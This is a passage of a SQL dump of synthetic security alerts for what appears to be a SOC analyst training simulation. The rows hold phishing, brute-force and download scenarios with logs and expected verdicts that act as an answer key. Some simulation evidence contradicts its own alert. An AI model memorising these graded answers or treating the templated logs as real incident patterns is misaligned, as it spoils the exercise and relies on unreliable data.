3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"203.0.113.150\\\",\\\"domain\\\":\\\"suspicious-website.com\\\",\\\"username\\\":\\\"employee1\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.898Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"203.0.113.150\\\",\\\"domain\\\":\\\"suspicious-website.com\\\",\\\"username\\\":\\\"employee1\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1377, 'Malicious Email Attachment Detected', 'critical', 'Proofpoint', 'An email was received containing an attachment with a known malicious file hash.', 'Phishing', 'T1566', 1, 'investigating', 254, '{\"timestamp\":\"2026-03-02T07:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.75\",\"email_sender\":\"invoice@legitcompany.com\",\"attachment_hash\":\"6dcd4ce23d88e2ee956d7f4c8f3c3c6d\",\"username\":\"finance@company.com\"}', '2026-03-02 03:07:37', '2026-03-06 07:27:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"6dcd4ce23d88e2ee956d7f4c8f3c3c6d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 62 AV engines\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"invoice@legitcompany.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address used in previous phishing campaigns\"}}],\"expected_actions\":[\"block_hash\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Attachment hash is widely recognized as malicious, confirming the phishing attempt.\"}', 'Novice', 'SIEM', 1, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Malicious Email Attachment Detected\",\"date\":\"2026-03-02T13:55:06.900Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1378, 'Unauthorized Access Attempt Detected from Malicious IP', 'high', 'Splunk', 'An unauthorized access attempt detected from a known malicious IP address targeting a sensitive server.', 'Brute Force', 'T1110', 1, 'investigating', 235, '{\"timestamp\":\"2026-03-02T16:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.100\",\"username\":\"admin\",\"hostname\":\"sensitive-server02\",\"failed_attempts\":\"30\"}', '2026-03-02 03:07:37', '2026-03-03 20:14:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 935 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"High-privilege internal account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Login failures from a high-risk IP suggest a targeted attack on admin accounts.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.901Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"sensitive-server02\\\",\\\"failed_attempts\\\":\\\"30\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.901Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"sensitive-server02\\\",\\\"failed_attempts\\\":\\\"30\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.901Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"sensitive-server02\\\",\\\"failed_attempts\\\":\\\"30\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.901Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"sensitive-server02\\\",\\\"failed_attempts\\\":\\\"30\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.901Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"sensitive-server02\\\",\\\"failed_attempts\\\":\\\"30\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1379, 'Phishing Email with QR Code Detected', 'medium', 'Proofpoint', 'A phishing email containing a QR code designed to redirect to a malicious site was detected.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T08:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"email_sender\":\"alert@securitybank.com\",\"username\":\"user@company.com\",\"url\":\"http://malicious-qrcode-site.com\"}', '2026-03-02 03:07:37', '2026-03-06 10:27:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"alert@securitybank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email associated with phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-qrcode-site.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"QR code redirects to a phishing site\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The QR code links to a malicious site, confirming the phishing attempt.\"}', 'Novice', 'SIEM', 1, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with QR Code Detected\",\"date\":\"2026-03-02T13:55:06.903Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1380, 'BEC Attempt Detected with Spoofed Domain', 'critical', 'Elastic SIEM', 'A business email compromise attempt detected with a spoofed domain, targeting financial transactions.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T15:20:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.70\",\"email_sender\":\"ceo@legitimatecompany.com\",\"domain\":\"legitimatecompany.com\",\"username\":\"finance@company.com\",\"url\":\"http://fake-invoice-page.com\"}', '2026-03-02 03:07:37', '2026-03-07 10:42:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"ceo@legitimatecompany.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain used in BEC attacks\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://fake-invoice-page.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL mimics legitimate site for credential theft\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Spoofed domain and phishing URL indicate a targeted BEC attempt.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.904Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:20:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"email_sender\\\":\\\"ceo@legitimatecompany.com\\\",\\\"domain\\\":\\\"legitimatecompany.com\\\",\\\"username\\\":\\\"finance@company.com\\\",\\\"url\\\":\\\"http://fake-invoice-page.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.904Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:20:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"email_sender\\\":\\\"ceo@legitimatecompany.com\\\",\\\"domain\\\":\\\"legitimatecompany.com\\\",\\\"username\\\":\\\"finance@company.com\\\",\\\"url\\\":\\\"http://fake-invoice-page.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.904Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:20:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"email_sender\\\":\\\"ceo@legitimatecompany.com\\\",\\\"domain\\\":\\\"legitimatecompany.com\\\",\\\"username\\\":\\\"finance@company.com\\\",\\\"url\\\":\\\"http://fake-invoice-page.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.904Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:20:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"email_sender\\\":\\\"ceo@legitimatecompany.com\\\",\\\"domain\\\":\\\"legitimatecompany.com\\\",\\\"username\\\":\\\"finance@company.com\\\",\\\"url\\\":\\\"http://fake-invoice-page.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.904Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:20:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"email_sender\\\":\\\"ceo@legitimatecompany.com\\\",\\\"domain\\\":\\\"legitimatecompany.com\\\",\\\"username\\\":\\\"finance@company.com\\\",\\\"url\\\":\\\"http://fake-invoice-page.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1381, 'Suspicious File Downloaded from Public IP', 'low', 'Wazuh', 'A file download from a public IP was detected, flagged as suspicious.', 'Malware', 'T1203', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T12:05:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.95\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"user123\"}', '2026-03-02 03:07:37', '2026-03-07 11:46:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.95\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in suspicious download activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No detection by AV engines\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is clean, and download might stem from legitimate research.\"}', 'Novice', 'SIEM', 1, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.906Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:05:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"user123\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.906Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:05:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"user123\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.906Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:05:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"user123\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.906Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:05:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"user123\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.906Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:05:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"user123\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1382, 'Credential Harvesting Attempt via Phishing Site', 'high', 'Azure Sentinel', 'A phishing site attempting credential harvesting was accessed by an internal user.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T14:10:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.1.55\",\"dst_ip\":\"203.0.113.85\",\"domain\":\"malicious-credentials.com\",\"username\":\"employee3\"}', '2026-03-02 03:07:37', '2026-03-09 02:42:09', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"malicious-credentials.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used for credential phishing\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in phishing activities\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Access to a known phishing domain indicates an attempt to harvest credentials.\"}', 'Novice', 'SIEM', 1, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.908Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"domain\\\":\\\"malicious-credentials.com\\\",\\\"username\\\":\\\"employee3\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.908Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"domain\\\":\\\"malicious-credentials.com\\\",\\\"username\\\":\\\"employee3\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.908Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"domain\\\":\\\"malicious-credentials.com\\\",\\\"username\\\":\\\"employee3\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.908Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"domain\\\":\\\"malicious-credentials.com\\\",\\\"username\\\":\\\"employee3\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.908Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"domain\\\":\\\"malicious-credentials.com\\\",\\\"username\\\":\\\"employee3\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1383, 'CEO Impersonation Phishing Email Detected', 'critical', 'Proofpoint', 'An email impersonating the CEO was detected, attempting to initiate unauthorized financial transactions.', 'Phishing', 'T1566', 1, 'investigating', 246, '{\"timestamp\":\"2026-03-02T13:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.120\",\"email_sender\":\"ceo@company-fake.com\",\"domain\":\"company-fake.com\",\"username\":\"finance@company.com\",\"url\":\"http://fake-payment-portal.com\"}', '2026-03-02 03:07:37', '2026-03-05 07:54:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"ceo@company-fake.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email used in CEO impersonation attempts\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://fake-payment-portal.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL mimics payment portal for fraud\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Impersonation of CEO with fraudulent URL confirms a targeted phishing attack.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"CEO Impersonation Phishing Email Detected\",\"date\":\"2026-03-02T13:55:06.909Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1384, 'Unauthorized Admin Login Attempt', 'high', 'Splunk', 'Multiple unauthorized login attempts detected for an admin account from a foreign IP.', 'Brute Force', 'T1110', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T17:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.200\",\"username\":\"admin\",\"hostname\":\"secure-server01\",\"failed_attempts\":\"50\"}', '2026-03-02 03:07:37', '2026-03-09 02:35:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for multiple unauthorized login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"High-privilege internal account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Frequent failed logins from a malicious IP suggest a brute force attempt.\"}', 'Novice', 'SIEM', 1, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.911Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server01\\\",\\\"failed_attempts\\\":\\\"50\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.911Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server01\\\",\\\"failed_attempts\\\":\\\"50\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.911Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server01\\\",\\\"failed_attempts\\\":\\\"50\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.911Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server01\\\",\\\"failed_attempts\\\":\\\"50\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.911Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server01\\\",\\\"failed_attempts\\\":\\\"50\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
